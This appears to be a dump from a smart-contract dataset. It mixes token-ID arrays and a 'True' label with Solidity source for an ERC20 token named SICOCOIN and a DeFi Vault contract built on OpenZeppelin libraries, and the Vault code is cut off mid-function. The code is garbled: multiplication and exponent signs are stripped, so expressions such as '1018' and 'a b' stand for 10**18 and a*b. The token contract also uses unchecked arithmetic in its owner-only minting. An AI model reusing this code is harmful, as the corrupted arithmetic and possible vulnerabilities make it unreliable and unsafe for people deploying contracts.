1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 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pragma solidity ^0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract SICOCOIN is SafeMath { address public owner; string public name; string public symbol; uint public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); bool lock = false; constructor( uint256 initialSupply, string tokenName, string tokenSymbol, uint decimalUnits ) public { owner = msg.sender; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function _transfer(address _from, address _to, uint _value) isLock internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public { uint256 _amount = mintedAmount * 10 ** uint256(decimals); balanceOf[target] += _amount; totalSupply += _amount; emit Transfer(this, target, _amount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } function transferBatch(address[] _to, uint256 _value) public returns (bool success) { for (uint i=0; i<_to.length; i++) { _transfer(msg.sender, _to[i], _value); } return true; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 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// SPDX-License-Identifier: BSD-3-Clause pragma solidity 0.6.11; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface CErc20 { function mint(uint256) external returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function supplyRatePerBlock() external returns (uint256); function redeem(uint) external returns (uint); function redeemUnderlying(uint) external returns (uint); } interface IUniswapV2Router { function WETH() external pure returns (address); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); } /* * Accounting: * - the smart contract maintains a ledger of token balances which changes upon actions affecting * this smart contract's token balance. * * - it allows owner to withdraw any extra amount of any tokens that have not been recorded, * i.e, - any tokens that are accidentally transferred to this smart contract. * * - care must be taken in auditing that `claimExtraTokens` function does not allow withdrawals of * any tokens in this smart contract in more amounts than necessary. In simple terms, admin can * only transfer out tokens that are accidentally sent to this smart contract. Nothing more nothing less. / contract Vault is Ownable, ReentrancyGuard { using SafeMath for uint; using Address for address; using EnumerableSet for EnumerableSet.AddressSet; using SafeERC20 for IERC20; //==================== Contract Variables ======================= // Contract variables must be changed before live deployment uint public constant LOCKUP_DURATION = 60 days; uint public constant FEE_PERCENT_X_100 = 30; uint public constant FEE_PERCENT_TO_BUYBACK_X_100 = 2500; uint public constant REWARD_INTERVAL = 365 days; uint public constant ADMIN_CAN_CLAIM_AFTER = 395 days; uint public constant REWARD_RETURN_PERCENT_X_100 = 1300; // ETH fee equivalent predefined gas price uint public constant MIN_ETH_FEE_IN_WEI = 40000 1 * 109; address public constant TRUSTED_DEPOSIT_TOKEN_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant TRUSTED_CTOKEN_ADDRESS = 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643; address public constant TRUSTED_PLATFORM_TOKEN_ADDRESS = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17; address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD; //================= End Contract Variables ====================== uint public constant ONE_HUNDRED_X_100 = 10000; uint public immutable contractStartTime; constructor() public { contractStartTime = block.timestamp; } IUniswapV2Router public constant uniswapRouterV2 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); modifier noContractsAllowed() { require(tx.origin == msg.sender, "No Contracts Allowed!"); _; } // ------------------- event definitions ------------------- event Deposit(address indexed account, uint amount); event Withdraw(address indexed account, uint amount); event EtherRewardDisbursed(uint amount); event TokenRewardDisbursed(uint amount); event PlatformTokenRewardClaimed(address indexed account, uint amount); event CompoundRewardClaimed(address indexed account, uint amount); event EtherRewardClaimed(address indexed account, uint amount); event TokenRewardClaimed(address indexed account, uint amount); event PlatformTokenAdded(uint amount); // ----------------- end event definitions ----------------- EnumerableSet.AddressSet private holders; // view functon to get number of stakers function getNumberOfHolders() public view returns (uint) { return holders.length(); } // token contract address => token balance of this contract mapping (address => uint) public tokenBalances; // user wallet => balance mapping (address => uint) public cTokenBalance; mapping (address => uint) public depositTokenBalance; mapping (address => uint) public totalTokensDepositedByUser; mapping (address => uint) public totalTokensWithdrawnByUser; mapping (address => uint) public totalEarnedCompoundDivs; mapping (address => uint) public totalEarnedEthDivs; mapping (address => uint) public totalEarnedTokenDivs; mapping (address => uint) public totalEarnedPlatformTokenDivs; mapping (address => uint) public depositTime; mapping (address => uint) public lastClaimedTime; uint public totalCTokens; uint public totalDepositedTokens; // ----------------- uint public constant POINT_MULTIPLIER = 1e18; mapping (address => uint) public lastTokenDivPoints; mapping (address => uint) public tokenDivsBalance; uint public totalTokenDivPoints; mapping (address => uint) public lastEthDivPoints; mapping (address => uint) public ethDivsBalance; uint public totalEthDivPoints; mapping (address => uint) public platformTokenDivsBalance; uint public totalEthDisbursed; uint public totalTokensDisbursed; function tokenDivsOwing(address account) public view returns (uint) { uint newDivPoints = totalTokenDivPoints.sub(lastTokenDivPoints[account]); return depositTokenBalance[account].mul(newDivPoints).div(POINT_MULTIPLIER); } function ethDivsOwing(address account) public view returns (uint) { uint newDivPoints = totalEthDivPoints.sub(lastEthDivPoints[account]); return depositTokenBalance[account].mul(newDivPoints).div(POINT_MULTIPLIER); } function distributeEthDivs(uint amount) private { if (totalDepositedTokens == 0) return; totalEthDivPoints = totalEthDivPoints.add(amount.mul(POINT_MULTIPLIER).div(totalDepositedTokens)); totalEthDisbursed = totalEthDisbursed.add(amount); increaseTokenBalance(address(0), amount); emit EtherRewardDisbursed(amount); } function distributeTokenDivs(uint amount) private { if (totalDepositedTokens == 0) return; totalTokenDivPoints = totalTokenDivPoints.add(amount.mul(POINT_MULTIPLIER).div(totalDepositedTokens)); totalTokensDisbursed = totalTokensDisbursed.add(amount); increaseTokenBalance(TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount); emit TokenRewardDisbursed(amount); } // ----------------- // view function to get depositors list function getDepositorsList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = depositTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositTokenBalance[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } function updateAccount(address account) private { // update user account here uint tokensOwing = tokenDivsOwing(account); lastTokenDivPoints[account] = totalTokenDivPoints; if (tokensOwing > 0) { tokenDivsBalance[account] = tokenDivsBalance[account].add(tokensOwing); } uint weiOwing = ethDivsOwing(account); lastEthDivPoints[account] = totalEthDivPoints; if (weiOwing > 0) { ethDivsBalance[account] = ethDivsBalance[account].add(weiOwing); } uint platformTokensOwing = platformTokenDivsOwing(account); if (platformTokensOwing > 0) { platformTokenDivsBalance[account] = platformTokenDivsBalance[account].add(platformTokensOwing); } lastClaimedTime[account] = block.timestamp; } function platformTokenDivsOwing(address account) public view returns (uint) { if (!holders.contains(account)) return 0; if (depositTokenBalance[account] == 0) return 0; uint timeDiff; uint stakingEndTime = contractStartTime.add(REWARD_INTERVAL); uint _now = block.timestamp; if (_now > stakingEndTime) { _now = stakingEndTime; } if (lastClaimedTime[account] >= _now) { timeDiff = 0; } else { timeDiff = _now.sub(lastClaimedTime[account]); } uint pendingDivs = depositTokenBalance[account] .mul(REWARD_RETURN_PERCENT_X_100) .mul(timeDiff) .div(REWARD_INTERVAL) .div(ONE_HUNDRED_X_100); return pendingDivs; } function getEstimatedCompoundDivsOwing(address account) public view returns (uint) { uint convertedBalance = getConvertedBalance(cTokenBalance[account]); uint depositedBalance = depositTokenBalance[account]; return (convertedBalance > depositedBalance ? convertedBalance.sub(depositedBalance) : 0); } function getConvertedBalance(uint _cTokenBalance) public view returns (uint) { uint exchangeRateStored = getExchangeRateStored(); uint convertedBalance = _cTokenBalance.mul(exchangeRateStored).div(1018); return convertedBalance; } function _claimEthDivs() private { updateAccount(msg.sender); uint amount = ethDivsBalance[msg.sender]; ethDivsBalance[msg.sender] = 0; if (amount == 0) return; decreaseTokenBalance(address(0), amount); msg.sender.transfer(amount); totalEarnedEthDivs[msg.sender] = totalEarnedEthDivs[msg.sender].add(amount); emit EtherRewardClaimed(msg.sender, amount); } function _claimTokenDivs() private { updateAccount(msg.sender); uint amount = tokenDivsBalance[msg.sender]; tokenDivsBalance[msg.sender] = 0; if (amount == 0) return; decreaseTokenBalance(TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount); 